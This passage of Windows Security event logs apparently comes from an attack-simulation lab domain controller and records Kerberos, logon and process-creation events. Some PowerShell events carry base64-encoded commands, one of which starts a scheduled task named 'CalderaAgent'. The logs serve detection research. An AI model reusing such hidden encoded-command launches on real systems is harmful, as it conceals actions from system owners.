	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252485
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{88BA9618-E447-8C6F-A4E1-554423C688E5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252484
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252483
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x160045

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252482
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15EFE6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252481
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15DAD4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252480
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10fc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252532
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16387C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12ec
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABTAHQAYQByAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAEMAYQBsAGQAZQByAGEAQQBnAGUAbgB0ACIA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252531
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x165E53

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252530
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x165E53
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F03B9AFA-46B7-A336-8EB9-3E6366F1E9D0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252529
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F03B9AFA-46B7-A336-8EB9-3E6366F1E9D0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252528
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F03B9AFA-46B7-A336-8EB9-3E6366F1E9D0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252527
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252526
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16387C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1080
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x108c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES7094.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCF12FFB2F8B5E4E77B7A1E6561036FCE9.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252525
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16387C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x108c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\04ukce4y.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252524
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x165452

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252523
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x165452
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F03B9AFA-46B7-A336-8EB9-3E6366F1E9D0}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252522
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F03B9AFA-46B7-A336-8EB9-3E6366F1E9D0}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252521
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F03B9AFA-46B7-A336-8EB9-3E6366F1E9D0}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252520
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252519
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x16387C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xedc
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x364
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252571
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12dc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1350
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADYAMAAxAC4AMQAyADAAMwA1ADIALQA0ADYAOQA3ADQAMwAwADEAOAA5ADQANgA1ADEAJwAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHQAbQBwAC4ARgB1AGwAbABOAGEAbQBlAAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252570
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x169088

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252569
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x169088
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252568
Keywords=Audit Success
